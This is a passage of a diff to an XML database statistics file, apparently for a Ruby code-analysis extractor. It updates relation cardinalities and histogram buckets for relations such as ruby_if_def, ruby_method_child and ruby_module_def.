                                     <a>4</a>
-                                    <b>5</b>
-                                    <v>12</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>8</b>
-                                    <v>15</v>
+                                    <b>6</b>
+                                    <v>23</v>
                                 </b>
                                 <b>
                                     <a>8</a>
-                                    <b>9</b>
-                                    <v>9</v>
+                                    <b>12</b>
+                                    <v>23</v>
                                 </b>
                                 <b>
-                                    <a>10</a>
-                                    <b>13</b>
-                                    <v>18</v>
+                                    <a>12</a>
+                                    <b>26</b>
+                                    <v>23</v>
                                 </b>
                                 <b>
-                                    <a>15</a>
-                                    <b>25</b>
-                                    <v>18</v>
+                                    <a>30</a>
+                                    <b>94</b>
+                                    <v>20</v>
                                 </b>
                                 <b>
-                                    <a>29</a>
-                                    <b>64</b>
-                                    <v>18</v>
+                                    <a>96</a>
+                                    <b>323</b>
+                                    <v>20</v>
                                 </b>
                                 <b>
-                                    <a>91</a>
-                                    <b>203</b>
-                                    <v>18</v>
-                                </b>
-                                <b>
-                                    <a>309</a>
-                                    <b>801</b>
-                                    <v>18</v>
-                                </b>
-                                <b>
-                                    <a>1759</a>
-                                    <b>1760</b>
-                                    <v>6</v>
+                                    <a>585</a>
+                                    <b>1806</b>
+                                    <v>17</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12802,7 +12985,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>25086</v>
+                                    <v>25318</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12818,7 +13001,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>25086</v>
+                                    <v>25318</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12828,26 +13011,26 @@
         </relation>
         <relation>
             <name>ruby_heredoc_body_def</name>
-            <cardinality>5577</cardinality>
+            <cardinality>5575</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>5577</v>
+                    <v>5575</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_if_alternative</name>
-            <cardinality>6461</cardinality>
+            <cardinality>6454</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_if</k>
-                    <v>6461</v>
+                    <v>6454</v>
                 </e>
                 <e>
                     <k>alternative</k>
-                    <v>6461</v>
+                    <v>6454</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -12861,7 +13044,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6461</v>
+                                    <v>6454</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12877,7 +13060,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6461</v>
+                                    <v>6454</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12887,15 +13070,15 @@
         </relation>
         <relation>
             <name>ruby_if_consequence</name>
-            <cardinality>18444</cardinality>
+            <cardinality>18324</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_if</k>
-                    <v>18444</v>
+                    <v>18324</v>
                 </e>
                 <e>
                     <k>consequence</k>
-                    <v>18444</v>
+                    <v>18324</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -12909,7 +13092,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>18444</v>
+                                    <v>18324</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12925,7 +13108,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>18444</v>
+                                    <v>18324</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12935,15 +13118,15 @@
         </relation>
         <relation>
             <name>ruby_if_def</name>
-            <cardinality>18504</cardinality>
+            <cardinality>18392</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>18504</v>
+                    <v>18392</v>
                 </e>
                 <e>
                     <k>condition</k>
-                    <v>18504</v>
+                    <v>18392</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -12957,7 +13140,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>18504</v>
+                                    <v>18392</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12973,7 +13156,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>18504</v>
+                                    <v>18392</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13005,7 +13188,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13025,19 +13208,19 @@
         </relation>
         <relation>
             <name>ruby_if_modifier_def</name>
-            <cardinality>13763</cardinality>
+            <cardinality>13620</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>13763</v>
+                    <v>13620</v>
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                 <e>
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-                    <v>13763</v>
+                    <v>13620</v>
                 </e>
                 <e>
                     <k>condition</k>
-                    <v>13763</v>
+                    <v>13620</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -13051,7 +13234,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13763</v>
+                                    <v>13620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13067,7 +13250,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13763</v>
+                                    <v>13620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13083,7 +13266,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13763</v>
+                                    <v>13620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13099,7 +13282,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13763</v>
+                                    <v>13620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13115,7 +13298,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13763</v>
+                                    <v>13620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13131,7 +13314,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13763</v>
+                                    <v>13620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13141,15 +13324,15 @@
         </relation>
         <relation>
             <name>ruby_in_clause_body</name>
-            <cardinality>2</cardinality>
+            <cardinality>0</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_in_clause</k>
-                    <v>2</v>
+                    <v>0</v>
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                 <e>
                     <k>body</k>
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+                    <v>0</v>
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             </columnsizes>
             <dependencies>
@@ -13189,15 +13372,15 @@
         </relation>
         <relation>
             <name>ruby_in_clause_def</name>
-            <cardinality>2</cardinality>
+            <cardinality>0</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>2</v>
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                 </e>
                 <e>
                     <k>pattern</k>
-                    <v>2</v>
+                    <v>0</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -13223,13 +13406,7 @@
                     <val>
                         <hist>
                             <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>2</v>
-                                </b>
-                            </bs>
+                            <bs/>
                         </hist>
                     </val>
                 </dep>
@@ -13259,7 +13436,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13275,7 +13452,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13285,15 +13462,15 @@
         </relation>
         <relation>
             <name>ruby_in_def</name>
-            <cardinality>163</cardinality>
+            <cardinality>162</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>163</v>
+                    <v>162</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>163</v>
+                    <v>162</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -13307,7 +13484,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13323,7 +13500,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>163</v>
+                                    <v>162</v>
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@@ -13333,19 +13510,19 @@
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@@ -13359,7 +13536,7 @@
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                                     <a>1</a>
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@@ -13375,7 +13552,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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+                                    <v>38208</v>
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@@ -13389,9 +13566,9 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
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@@ -13405,9 +13582,9 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>12661</a>
-                                    <b>12662</b>
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@@ -13423,7 +13600,7 @@
                                 <b>
                                     <a>1</a>
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@@ -13439,7 +13616,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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@@ -13449,26 +13626,26 @@
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@@ -13482,7 +13659,7 @@
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                                     <a>1</a>
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@@ -13498,7 +13675,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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@@ -13508,15 +13685,15 @@
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@@ -13530,7 +13707,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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+                                    <v>2874</v>
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@@ -13546,7 +13723,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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@@ -13578,7 +13755,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
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                         </hist>
@@ -13620,7 +13797,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
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                         </hist>
@@ -13636,7 +13813,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
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@@ -13646,15 +13823,15 @@
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         <relation>
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@@ -13668,7 +13845,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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@@ -13684,7 +13861,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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+                                    <v>7472</v>
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@@ -13694,15 +13871,15 @@
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         <relation>
             <name>ruby_lambda_parameters</name>
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@@ -13716,7 +13893,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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+                                    <v>1664</v>
                                 </b>
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                         </hist>
@@ -13732,7 +13909,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1659</v>
+                                    <v>1664</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13742,11 +13919,11 @@
         </relation>
         <relation>
             <name>ruby_lambda_parameters_child</name>
-            <cardinality>1898</cardinality>
+            <cardinality>1905</cardinality>
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@@ -13754,7 +13931,7 @@
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+                    <v>1905</v>
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             <dependencies>
@@ -13768,12 +13945,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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+                                    <v>1472</v>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
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                                 </b>
                                 <b>
                                     <a>3</a>
@@ -13794,12 +13971,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
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                                 <b>
                                     <a>3</a>
@@ -13843,13 +14020,13 @@
                                     <v>1</v>
                                 </b>
                                 <b>
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                                     <v>1</v>
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                                 <b>
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+                                    <b>1656</b>
                                     <v>1</v>
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                             </bs>
@@ -13889,13 +14066,13 @@
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>181</a>
-                                    <b>182</b>
+                                    <a>183</a>
+                                    <b>184</b>
                                     <v>1</v>
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                                 <b>
-                                    <a>1650</a>
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                                     <v>1</v>
                                 </b>
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@@ -13912,7 +14089,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1898</v>
+                                    <v>1905</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13928,7 +14105,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1898</v>
+                                    <v>1905</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13938,22 +14115,22 @@
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         <relation>
             <name>ruby_lambda_parameters_def</name>
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+            <cardinality>1664</cardinality>
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             <name>ruby_left_assignment_list_child</name>
-            <cardinality>6390</cardinality>
+            <cardinality>6358</cardinality>
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                 <e>
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+                    <v>2873</v>
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@@ -13961,7 +14138,7 @@
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+                    <v>6358</v>
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             <dependencies>
@@ -13975,17 +14152,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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+                                    <v>360</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
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+                                    <v>1861</v>
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                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>492</v>
+                                    <v>489</v>
                                 </b>
                                 <b>
                                     <a>4</a>
@@ -14006,17 +14183,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>359</v>
+                                    <v>360</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1873</v>
+                                    <v>1861</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>492</v>
+                                    <v>489</v>
                                 </b>
                                 <b>
                                     <a>4</a>
@@ -14080,18 +14257,18 @@
                                     <v>1</v>
                                 </b>
                                 <b>
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-                                    <b>656</b>
+                                    <a>652</a>
+                                    <b>653</b>
                                     <v>1</v>
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                                 <b>
-                                    <a>2528</a>
-                                    <b>2529</b>
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+                                    <b>2514</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>2887</a>
-                                    <b>2888</b>
+                                    <a>2873</a>
+                                    <b>2874</b>
                                     <v>1</v>
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                             </bs>
@@ -14151,18 +14328,18 @@
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>655</a>
-                                    <b>656</b>
+                                    <a>652</a>
+                                    <b>653</b>
                                     <v>1</v>
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                                 <b>
-                                    <a>2528</a>
-                                    <b>2529</b>
+                                    <a>2513</a>
+                                    <b>2514</b>
                                     <v>1</v>
                                 </b>
                                 <b>
-                                    <a>2887</a>
-                                    <b>2888</b>
+                                    <a>2873</a>
+                                    <b>2874</b>
                                     <v>1</v>
                                 </b>
                             </bs>
@@ -14179,7 +14356,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6390</v>
+                                    <v>6358</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14195,7 +14372,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6390</v>
+                                    <v>6358</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14205,22 +14382,22 @@
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         <relation>
             <name>ruby_left_assignment_list_def</name>
-            <cardinality>2887</cardinality>
+            <cardinality>2873</cardinality>
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-                    <v>2887</v>
+                    <v>2873</v>
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         <relation>
             <name>ruby_method_child</name>
-            <cardinality>265363</cardinality>
+            <cardinality>264218</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_method</k>
-                    <v>97610</v>
+                    <v>97351</v>
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@@ -14228,7 +14405,7 @@
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                     <k>child</k>
-                    <v>265363</v>
+                    <v>264218</v>
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             <dependencies>
@@ -14242,32 +14419,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>43881</v>
+                                    <v>43682</v>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>17963</v>
+                                    <v>18007</v>
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                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>12762</v>
+                                    <v>12772</v>
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                                 <b>
                                     <a>4</a>
                                     <b>5</b>
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+                                    <v>7790</v>
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                                 <b>
                                     <a>5</a>
                                     <b>7</b>
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+                                    <v>8159</v>
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                                 <b>
                                     <a>7</a>
                                     <b>77</b>
-                                    <v>7069</v>
+                                    <v>6939</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14283,32 +14460,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>43881</v>
+                                    <v>43682</v>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
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                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
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+                                    <v>12772</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
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+                                    <v>7790</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>8115</v>
+                                    <v>8159</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>77</b>
-                                    <v>7069</v>
+                                    <v>6939</v>
                                 </b>
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                         </hist>
@@ -14344,41 +14521,41 @@
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
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-                                <b>
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-                                    <v>12</v>
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-                                    <b>19</b>
                                     <v>18</v>
                                 </b>
                                 <b>
-                                    <a>20</a>
-                                    <b>38</b>
+                                    <a>7</a>
+                                    <b>13</b>
                                     <v>18</v>
                                 </b>
                                 <b>
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+                                    <a>14</a>
+                                    <b>20</b>
                                     <v>18</v>
                                 </b>
                                 <b>
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+                                    <b>41</b>
                                     <v>18</v>
                                 </b>
                                 <b>
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                                     <v>18</v>
                                 </b>
                                 <b>
-                                    <a>3247</a>
-                                    <b>30985</b>
+                                    <a>150</a>
+                                    <b>400</b>
+                                    <v>18</v>
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+                                <b>
+                                    <a>511</a>
+                                    <b>2203</b>
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                                     <v>18</v>
                                 </b>
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@@ -14415,41 +14592,41 @@
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
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-                                    <b>19</b>
                                     <v>18</v>
                                 </b>
                                 <b>
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-                                    <b>38</b>
+                                    <a>7</a>
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                                     <v>18</v>
                                 </b>
                                 <b>
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+                                    <a>14</a>
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                                     <v>18</v>
                                 </b>
                                 <b>
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-                                    <b>407</b>
+                                    <a>21</a>
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                                     <v>18</v>
                                 </b>
                                 <b>
-                                    <a>521</a>
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                                     <v>18</v>
                                 </b>
                                 <b>
-                                    <a>3247</a>
-                                    <b>30985</b>
+                                    <a>150</a>
+                                    <b>400</b>
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+                                    <b>2203</b>
+                                    <v>18</v>
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+                                <b>
+                                    <a>3217</a>
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                                     <v>18</v>
                                 </b>
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@@ -14466,7 +14643,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>265363</v>
+                                    <v>264218</v>
                                 </b>
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@@ -14482,7 +14659,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>265363</v>
+                                    <v>264218</v>
                                 </b>
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@@ -14492,15 +14669,15 @@
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             <dependencies>
@@ -14514,7 +14691,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>98643</v>
+                                    <v>98356</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14530,7 +14707,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>98643</v>
+                                    <v>98356</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14540,15 +14717,15 @@
         </relation>
         <relation>
             <name>ruby_method_parameters</name>
-            <cardinality>27323</cardinality>
+            <cardinality>27238</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_method</k>
-                    <v>27323</v>
+                    <v>27238</v>
                 </e>
                 <e>
                     <k>parameters</k>
-                    <v>27323</v>
+                    <v>27238</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -14562,7 +14739,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>27323</v>
+                                    <v>27238</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14578,7 +14755,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>27323</v>
+                                    <v>27238</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14588,11 +14765,11 @@
         </relation>
         <relation>
             <name>ruby_method_parameters_child</name>
-            <cardinality>47661</cardinality>
+            <cardinality>47287</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_method_parameters</k>
-                    <v>28778</v>
+                    <v>28643</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -14600,7 +14777,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>47661</v>
+                    <v>47287</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -14614,22 +14791,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>17326</v>
+                                    <v>17310</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>7059</v>
+                                    <v>7021</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>2740</v>
+                                    <v>2678</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>12</b>
-                                    <v>1650</v>
+                                    <v>1632</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14645,22 +14822,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>17326</v>
+                                    <v>17310</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>7059</v>
+                                    <v>7021</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>2740</v>
+                                    <v>2678</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>12</b>
-                                    <v>1650</v>
+                                    <v>1632</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14694,38 +14871,38 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>49</a>
-                                    <b>50</b>
+                                    <a>48</a>
+                                    <b>49</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>116</a>
-                                    <b>117</b>
+                                    <a>115</a>
+                                    <b>116</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>231</a>
-                                    <b>232</b>
+                                    <a>226</a>
+                                    <b>227</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>524</a>
-                                    <b>525</b>
+                                    <a>518</a>
+                                    <b>519</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>1394</a>
-                                    <b>1395</b>
+                                    <a>1368</a>
+                                    <b>1369</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>3635</a>
-                                    <b>3636</b>
+                                    <a>3596</a>
+                                    <b>3597</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>9135</a>
-                                    <b>9136</b>
+                                    <a>9089</a>
+                                    <b>9090</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -14760,38 +14937,38 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>49</a>
-                                    <b>50</b>
+                                    <a>48</a>
+                                    <b>49</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>116</a>
-                                    <b>117</b>
+                                    <a>115</a>
+                                    <b>116</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>231</a>
-                                    <b>232</b>
+                                    <a>226</a>
+                                    <b>227</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>524</a>
-                                    <b>525</b>
+                                    <a>518</a>
+                                    <b>519</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>1394</a>
-                                    <b>1395</b>
+                                    <a>1368</a>
+                                    <b>1369</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>3635</a>
-                                    <b>3636</b>
+                                    <a>3596</a>
+                                    <b>3597</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>9135</a>
-                                    <b>9136</b>
+                                    <a>9089</a>
+                                    <b>9090</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -14808,7 +14985,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>47661</v>
+                                    <v>47287</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14824,7 +15001,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>47661</v>
+                                    <v>47287</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14834,22 +15011,22 @@
         </relation>
         <relation>
             <name>ruby_method_parameters_def</name>
-            <cardinality>28992</cardinality>
+            <cardinality>28861</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>28992</v>
+                    <v>28861</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_module_child</name>
-            <cardinality>31229</cardinality>
+            <cardinality>31303</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_module</k>
-                    <v>10544</v>
+                    <v>10513</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -14857,7 +15034,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>31229</v>
+                    <v>31303</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -14871,27 +15048,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7466</v>
+                                    <v>7443</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>885</v>
+                                    <v>863</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>762</v>
+                                    <v>772</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>11</b>
-                                    <v>853</v>
+                                    <b>10</b>
+                                    <v>794</v>
                                 </b>
                                 <b>
-                                    <a>11</a>
+                                    <a>10</a>
                                     <b>126</b>
-                                    <v>576</v>
+                                    <v>639</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14907,27 +15084,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7466</v>
+                                    <v>7443</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>885</v>
+                                    <v>863</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>762</v>
+                                    <v>772</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>11</b>
-                                    <v>853</v>
+                                    <b>10</b>
+                                    <v>794</v>
                                 </b>
                                 <b>
-                                    <a>11</a>
+                                    <a>10</a>
                                     <b>126</b>
-                                    <v>576</v>
+                                    <v>639</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14943,26 +15120,26 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>37</v>
+                                    <v>31</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>31</v>
+                                    <v>37</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>3</v>
+                                    <v>9</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>78</v>
+                                    <v>72</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>7</b>
+                                    <b>8</b>
                                     <v>31</v>
                                 </b>
                                 <b>
@@ -14972,32 +15149,32 @@
                                 </b>
                                 <b>
                                     <a>10</a>
-                                    <b>16</b>
+                                    <b>17</b>
                                     <v>34</v>
                                 </b>
                                 <b>
-                                    <a>16</a>
+                                    <a>17</a>
                                     <b>25</b>
                                     <v>34</v>
                                 </b>
                                 <b>
-                                    <a>28</a>
-                                    <b>46</b>
+                                    <a>27</a>
+                                    <b>49</b>
                                     <v>31</v>
                                 </b>
                                 <b>
-                                    <a>51</a>
-                                    <b>108</b>
+                                    <a>52</a>
+                                    <b>109</b>
                                     <v>31</v>
                                 </b>
                                 <b>
-                                    <a>123</a>
-                                    <b>374</b>
+                                    <a>122</a>
+                                    <b>376</b>
                                     <v>31</v>
                                 </b>
                                 <b>
-                                    <a>454</a>
-                                    <b>3348</b>
+                                    <a>455</a>
+                                    <b>3337</b>
                                     <v>15</v>
                                 </b>
                             </bs>
@@ -15014,26 +15191,26 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>37</v>
+                                    <v>31</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>31</v>
+                                    <v>37</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>3</v>
+                                    <v>9</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>78</v>
+                                    <v>72</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>7</b>
+                                    <b>8</b>
                                     <v>31</v>
                                 </b>
                                 <b>
@@ -15043,32 +15220,32 @@
                                 </b>
                                 <b>
                                     <a>10</a>
-                                    <b>16</b>
+                                    <b>17</b>
                                     <v>34</v>
                                 </b>
                                 <b>
-                                    <a>16</a>
+                                    <a>17</a>
                                     <b>25</b>
                                     <v>34</v>
                                 </b>
                                 <b>
-                                    <a>28</a>
-                                    <b>46</b>
+                                    <a>27</a>
+                                    <b>49</b>
                                     <v>31</v>
                                 </b>
                                 <b>
-                                    <a>51</a>
-                                    <b>108</b>
+                                    <a>52</a>
+                                    <b>109</b>
                                     <v>31</v>
                                 </b>
                                 <b>
-                                    <a>123</a>
-                                    <b>374</b>
+                                    <a>122</a>
+                                    <b>376</b>
                                     <v>31</v>
                                 </b>
                                 <b>
-                                    <a>454</a>
-                                    <b>3348</b>
+                                    <a>455</a>
+                                    <b>3337</b>
                                     <v>15</v>
                                 </b>
                             </bs>
@@ -15085,7 +15262,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>31229</v>
+                                    <v>31303</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15101,7 +15278,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>31229</v>
+                                    <v>31303</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15111,15 +15288,15 @@
         </relation>
         <relation>
             <name>ruby_module_def</name>
-            <cardinality>21140</cardinality>
+            <cardinality>21557</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>21140</v>
+                    <v>21557</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>21140</v>
+                    <v>21557</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -15133,7 +15310,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>21140</v>
+                                    <v>21557</v>
                                 </b>
                             </bs>
                         </hist>
